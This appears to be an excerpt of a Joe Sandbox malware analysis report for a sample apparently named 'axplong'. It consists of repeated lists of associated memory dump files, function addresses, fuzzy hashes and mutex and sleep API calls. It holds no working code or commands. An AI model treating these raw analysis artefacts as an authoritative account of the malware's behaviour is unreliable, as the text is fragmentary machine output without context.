Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 93a42d00ee1364cc9a2ab941c7dbb3475792e3ccb28bfb8194d008dedbaa75b1
Instruction ID: 01a1a8133d10de288d85a19de9b28ad68b967355de516913dff4a98c734c54cd
Opcode Fuzzy Hash: 93a42d00ee1364cc9a2ab941c7dbb3475792e3ccb28bfb8194d008dedbaa75b1
Instruction Fuzzy Hash: 4B3123316002048BFF08EBACDD887ACB7AB9B86314F20465CE114EBBD5D7759A818762

Function 00699FA9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 6039e2c8312d00ad1cc42f72210df7e225bd15a39688d08b651fc809bc5fff39
Instruction ID: e7b6a8708047ffc8affa97a1eee809fafda9b02342c8c1b465da3aabde5def5e
Opcode Fuzzy Hash: 6039e2c8312d00ad1cc42f72210df7e225bd15a39688d08b651fc809bc5fff39
Instruction Fuzzy Hash: 2A3137317102048BFF089BBCDD8476CB6AB9B86318F208618E114DBBC5D7B6998187A6

Function 0069A0DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: c76c1de2b3f012c25723d647c27f31d73e3c35250669bb07c5f9381a8375d842
Instruction ID: 4200d53adb0ec2867ec6cccbcc4e7400a89bb316216260782b007b2438c0fd67
Opcode Fuzzy Hash: c76c1de2b3f012c25723d647c27f31d73e3c35250669bb07c5f9381a8375d842
Instruction Fuzzy Hash: 493148317101008BFF089BBCDD887BDB6AB9B86314F204629E114DBBD5D7B599818792

Function 0069A348 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: eb1a0e517658defeabb7e65bdc841fa5a55b86977ba7587fabdca1224f970f1a
Instruction ID: 10c021bf6837c75a5bc6e8495e56efc36b203ec3747a633eaadf0fcc0ca9c6e4
Opcode Fuzzy Hash: eb1a0e517658defeabb7e65bdc841fa5a55b86977ba7587fabdca1224f970f1a
Instruction Fuzzy Hash: 3F313431A101008BFF08ABB8DD897BCB6EBDB86314F208618E114DBBC5D7B599818696

Function 0069A47D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 26b3d4fb58b04a84474301469b8a170c34f7c53c3bafd556772b54303b75d790
Instruction ID: 6b058e91a263727cc9870aef32ed8f6a8ef1c7269710dad6960532cef60a25cc
Opcode Fuzzy Hash: 26b3d4fb58b04a84474301469b8a170c34f7c53c3bafd556772b54303b75d790
Instruction Fuzzy Hash: DC313931B001048BEF08EBBCDD897BCB6E7DB86314F204619E115DBBC5D7B599818792

Function 0069A5B2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
